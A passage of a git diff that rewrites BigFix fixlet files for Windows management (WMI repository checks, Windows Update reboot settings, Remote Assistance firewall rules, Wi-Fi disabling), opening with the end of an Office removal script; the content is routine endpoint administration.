+    TmpKeyCleanUp
+    Wscript.Echo sErr & vbCrLf & _
+             SCRIPTFILE & " V " & SCRIPTVERSION & vbCrLf & _
+             "Copyright (c) Microsoft Corporation. All Rights Reserved" & vbCrLf & vbCrLf & _
+             SCRIPTFILE & " helps to remove " & ONAME & " Server & Client products" & vbCrLf & _
+             "when a regular uninstall is no longer possible" & vbCrLf & vbCrLf & _
+             "Usage:" & vbTab & SCRIPTFILE & " [List of config ProductIDs] [Options]" & vbCrLf & vbCrLf & _
+             vbTab & "/?                          ' Displays this help"& vbCrLf &_
+             vbTab & "/Log [LogfolderPath]        ' Custom folder for log files" & vbCrLf & _
+             vbTab & "/SkipSD                     ' Skips the ShortcutDetection in local profiles" & vbCrLf & _
+             vbTab & "/NoCancel                   ' Setup.exe and Msiexec.exe have no Cancel button" & vbCrLf &_
+             vbTab & "/Quiet                      ' Script, Setup.exe and Msiexec.exe run quiet with no UI" & vbCrLf &_
+             vbTab & "/Preview                    ' Run this script to preview what would get removed"& vbCrLf & vbCrLf & _
+             "Examples:"& vbCrLf & _
+             vbTab & SCRIPTFILE & " CLIENTSUITES    ' Remove all " & ONAME & " Client suites/products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " CLIENTALL       ' Remove all " & ONAME & " Client products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " SERVER          ' Remove all " & ONAME & " Server products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " ALL             ' Remove all " & ONAME & " Server & Client products" & vbCrLf &_
+             vbTab & SCRIPTFILE & " ProPlus,PrjPro  ' Remove ProPlus and Project" & vbCrLf
+    Wscript.Quit
+End Sub 'ShowSyntax
+'=======================================================================================================
+_end_
+
+move __createfile "OffScrub_O15msi.vbs"
+
+waithidden cscript "OffScrub_O15msi.vbs"]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Update installation may cause WU reboot prompt (20539).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Update installation may cause WU reboot prompt (20539).bes
index 381dda3ef..16bea27a0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Update installation may cause WU reboot prompt (20539).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Update installation may cause WU reboot prompt (20539).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Update installation may cause WU reboot prompt
-  ID       : 20539
-  Author   : strawgate
-  Domain   : BES
-  Imported : 2016-05-10T07:14:28
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Update installation may cause WU reboot prompt</Title>
-    <Description><![CDATA[<P>This fixlet is relevant on computers where Windows Updates is configured to prompt after update installation if the update itself requires a reboot.</P>
-<P>This should likely be disabled if using BigFix to perform update installation.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(value &quot;NoAutoRebootWithLoggedOnUsers&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of native registry as string | &quot;-1&quot;) != &quot;1&quot;</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BES </Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Update installation may cause WU reboot prompt
+  ID       : 20539
+  Author   : strawgate
+  Domain   : BES
+  Imported : 2016-05-10T07:14:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Update installation may cause WU reboot prompt</Title>
+    <Description><![CDATA[<P>This fixlet is relevant on computers where Windows Updates is configured to prompt after update installation if the update itself requires a reboot.</P>
+<P>This should likely be disabled if using BigFix to perform update installation.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(value &quot;NoAutoRebootWithLoggedOnUsers&quot; of key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\AU&quot; of native registry as string | &quot;-1&quot;) != &quot;1&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-23</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BES </Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository backups exist in System Directory - Windows (21639).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository backups exist in System Directory - Windows (21639).bes
index 2a98cacd0..42073388c 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository backups exist in System Directory - Windows (21639).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository backups exist in System Directory - Windows (21639).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - WMI Repository backups exist in System Directory - Windows
-  ID       : 21639
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-09-14T21:23:54
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - WMI Repository backups exist in System Directory - Windows</Title>
-    <Description><![CDATA[<P>When WMI corruption occurs Windows makes a back-up of the WMI repository and stores it on Disk. This Fixlet deletes the oldest available WMI Repository if multiple exist.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists folder whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Relevance>
-    <Category>Disk Cleanup</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
-dos rmdir /s /q  &quot;{folder whose (name of it contains &quot;repository.&quot; AND creation time of it = minimum of creation times of folders whose(name of it contains &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))}&quot;</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - WMI Repository backups exist in System Directory - Windows
+  ID       : 21639
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-14T21:23:54
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - WMI Repository backups exist in System Directory - Windows</Title>
+    <Description><![CDATA[<P>When WMI corruption occurs Windows makes a back-up of the WMI repository and stores it on Disk. This Fixlet deletes the oldest available WMI Repository if multiple exist.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists folder whose (name of it starts with &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))</Relevance>
+    <Category>Disk Cleanup</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-18</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
+dos rmdir /s /q  &quot;{folder whose (name of it contains &quot;repository.&quot; AND creation time of it = minimum of creation times of folders whose(name of it contains &quot;repository.&quot;) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))) of (folder &quot;wbem&quot; of (if (x64 of operating system) then (system x64 folder) else (system x32 folder)))}&quot;</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository is very large - Windows (22650).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository is very large - Windows (22650).bes
index d10b82b21..513033fd8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository is very large - Windows (22650).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI Repository is very large - Windows (22650).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - WMI Repository is very large - Windows
-  ID       : 22650
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-22T09:18:14
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - WMI Repository is very large - Windows</Title>
-    <Description><![CDATA[<P>This fixlet is relevant on machines with large WMI repositories (&gt; 1 GB).</P>
-<P>A large WMI repository can cause lots of seemingly random issues on an endpoint from slow boot time to slow login.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(size of file "objects.data" of (if (x64 of operating system) then (x64 folder (pathname of windows folder & "\system32\wbem\repository")) else (folder (pathname of windows folder & "\system32\wbem\repository")))) > 1 /*byte*/ * 1024 /*KB*/ * 1024 /*MB*/ * 1024 /*GB*/]]></Relevance>
-    <Category>Windows Management Interface</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - WMI Repository is very large - Windows
+  ID       : 22650
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - WMI Repository is very large - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant on machines with large WMI repositories (&gt; 1 GB).</P>
+<P>A large WMI repository can cause lots of seemingly random issues on an endpoint from slow boot time to slow login.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(size of file "objects.data" of (if (x64 of operating system) then (x64 folder (pathname of windows folder & "\system32\wbem\repository")) else (folder (pathname of windows folder & "\system32\wbem\repository")))) > 1 /*byte*/ * 1024 /*KB*/ * 1024 /*MB*/ * 1024 /*GB*/]]></Relevance>
+    <Category>Windows Management Interface</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI is not responding to queries - Windows (22651).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI is not responding to queries - Windows (22651).bes
index 217b25405..fad0541e1 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI is not responding to queries - Windows (22651).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - WMI is not responding to queries - Windows (22651).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - WMI is not responding to queries - Windows
-  ID       : 22651
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-11-22T09:18:21
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - WMI is not responding to queries - Windows</Title>
-    <Description><![CDATA[<P>This fixlet is relevant on machines where WMI is failing.</P>
-<P>Failing WMI causes a number of issues from slow login, failing group policy, etc.</P>
-<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi | true</Relevance>
-    <Category>Windows Management Interface</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - WMI is not responding to queries - Windows
+  ID       : 22651
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-11-22T09:18:21
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - WMI is not responding to queries - Windows</Title>
+    <Description><![CDATA[<P>This fixlet is relevant on machines where WMI is failing.</P>
+<P>Failing WMI causes a number of issues from slow login, failing group policy, etc.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists string values of selects &quot;Domain from Win32_ComputerSystem&quot; of wmi | true</Relevance>
+    <Category>Windows Management Interface</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-24</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows 10 Security Center may present notification during AV installation (20586).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows 10 Security Center may present notification during AV installation (20586).bes
index a0b0cf3e9..6f448b9e1 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows 10 Security Center may present notification during AV installation (20586).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows 10 Security Center may present notification during AV installation (20586).bes	
@@ -1,28 +1,28 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Windows 10 Security Center may present notification during AV installation
-  ID       : 20586
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-10T07:27:08
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Windows 10 Security Center may present notification during AV installation</Title>
-    <Description><![CDATA[<P>The Windows Security Center is enabled.</P>
-<P>On initial&nbsp;installation of an Anti-virus product the security center may prompt the user indicating a lack of up-to-date definitions.</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system > "10.0.0" and name of operating system does not contain "Win2"]]></Relevance>
-    <Category>Anti-Virus</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-16</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Windows 10 Security Center may present notification during AV installation
+  ID       : 20586
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-10T07:27:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Windows 10 Security Center may present notification during AV installation</Title>
+    <Description><![CDATA[<P>The Windows Security Center is enabled.</P>
+<P>On initial&nbsp;installation of an Anti-virus product the security center may prompt the user indicating a lack of up-to-date definitions.</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system > "10.0.0" and name of operating system does not contain "Win2"]]></Relevance>
+    <Category>Anti-Virus</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-16</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows Firewall may be blocking Remote Assistance (23561).bes b/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows Firewall may be blocking Remote Assistance (23561).bes
index 122190280..3a2b21c4e 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows Firewall may be blocking Remote Assistance (23561).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Warning - Windows Firewall may be blocking Remote Assistance (23561).bes	
@@ -1,37 +1,37 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Warning - Windows Firewall may be blocking Remote Assistance
-  ID       : 23561
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2017-02-24T14:02:38
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Warning - Windows Firewall may be blocking Remote Assistance</Title>
-    <Description><![CDATA[<P><ENTER here action corrective the and problem of description a>If this fixlet is relevant than not all of the firewall rules required for Remote Assistance to be working may not be enabled.</P>
-<P><FONT color=#ff0000><STRONG>NOTE</STRONG></FONT>: This fixlet may appear relevant even if you have the right rules in place. This can commonly happen if you have created custom rules (not using the ones Group Policy generates) or if you are using a third-party Firewall. In this case you can ignore this fixlet once you've confirmed Remote Assistance is working in your environment.</P>
-<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
-    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.1"]]></Relevance>
-    <Relevance>not (exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\msra.exe&quot;)) and exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\raserver.exe&quot;)) and exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\svchost.exe&quot;)))</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
-    <SourceSeverity>Critical</SourceSeverity>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to add the rules to the Windows Firewall.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait netsh advfirewall firewall set rule group=&quot;remote assistance&quot; new enable=Yes</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Warning - Windows Firewall may be blocking Remote Assistance
+  ID       : 23561
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T14:02:38
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Warning - Windows Firewall may be blocking Remote Assistance</Title>
+    <Description><![CDATA[<P><ENTER here action corrective the and problem of description a>If this fixlet is relevant than not all of the firewall rules required for Remote Assistance to be working may not be enabled.</P>
+<P><FONT color=#ff0000><STRONG>NOTE</STRONG></FONT>: This fixlet may appear relevant even if you have the right rules in place. This can commonly happen if you have created custom rules (not using the ones Group Policy generates) or if you are using a third-party Firewall. In this case you can ignore this fixlet once you've confirmed Remote Assistance is working in your environment.</P>
+<P>For general information or to report issues with C3 Remote Control content please visit GitHub here: <A href="https://github.com/strawgate/C3-Remote-Control">https://github.com/strawgate/C3-Remote-Control</A></P>]]></Description>
+    <Relevance><![CDATA[windows of operating system and version of operating system >= "6.1"]]></Relevance>
+    <Relevance>not (exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\msra.exe&quot;)) and exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\raserver.exe&quot;)) and exists (names of (rules of firewall) whose (enabled of it = true and application name of it is &quot;C:\Windows\system32\svchost.exe&quot;)))</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-14</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to add the rules to the Windows Firewall.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait netsh advfirewall firewall set rule group=&quot;remote assistance&quot; new enable=Yes</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and Disable (24607).bes b/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and Disable (24607).bes
index 979933a33..c98ab07d3 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and Disable (24607).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Wifi + LAN Detect and Disable (24607).bes	
@@ -1,36 +1,36 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Wifi + LAN Detect and Disable
-  ID       : 24607
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2017-08-08T13:13:53
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Wifi + LAN Detect and Disable</Title>
-    <Description>Detects if there is both an active LAN network connection and an active WIFI network connection. If there are both, the action will disable the WIFI adapter.</Description>
-    <Relevance>(Exists (select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; whose (string value of it != &quot;&quot;) of WMI)) AND (exists adapter whose (friendly name of it != &quot;&quot; AND enabled of wifi of it and exists gateway of it and address of it as string != &quot;0.0.0.0&quot;) of network) AND (exists adapter whose (not exists wifi of it and gateway of it as string!= &quot;0.0.0.0&quot; and address of it as string!= &quot;0.0.0.0&quot;) of network)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2017-08-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 08 Aug 2017 20:09:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//Alpha code - does not accomodate multiple wifi adapters
-wait netsh interface set interface &quot;{string value of select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; of WMI}&quot; admin=disable
-wait ipconfig /release
-wait ipconfig /renew</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Wifi + LAN Detect and Disable
+  ID       : 24607
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-08-08T13:13:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Wifi + LAN Detect and Disable</Title>
+    <Description>Detects if there is both an active LAN network connection and an active WIFI network connection. If there are both, the action will disable the WIFI adapter.</Description>
+    <Relevance>(Exists (select &quot;netconnectionid from win32_NetworkAdapter where NetEnabled = &apos;TRUE&apos; and ServiceName = &apos;NETwNb64&apos;&quot; whose (string value of it != &quot;&quot;) of WMI)) AND (exists adapter whose (friendly name of it != &quot;&quot; AND enabled of wifi of it and exists gateway of it and address of it as string != &quot;0.0.0.0&quot;) of network) AND (exists adapter whose (not exists wifi of it and gateway of it as string!= &quot;0.0.0.0&quot; and address of it as string!= &quot;0.0.0.0&quot;) of network)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 08 Aug 2017 20:09:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
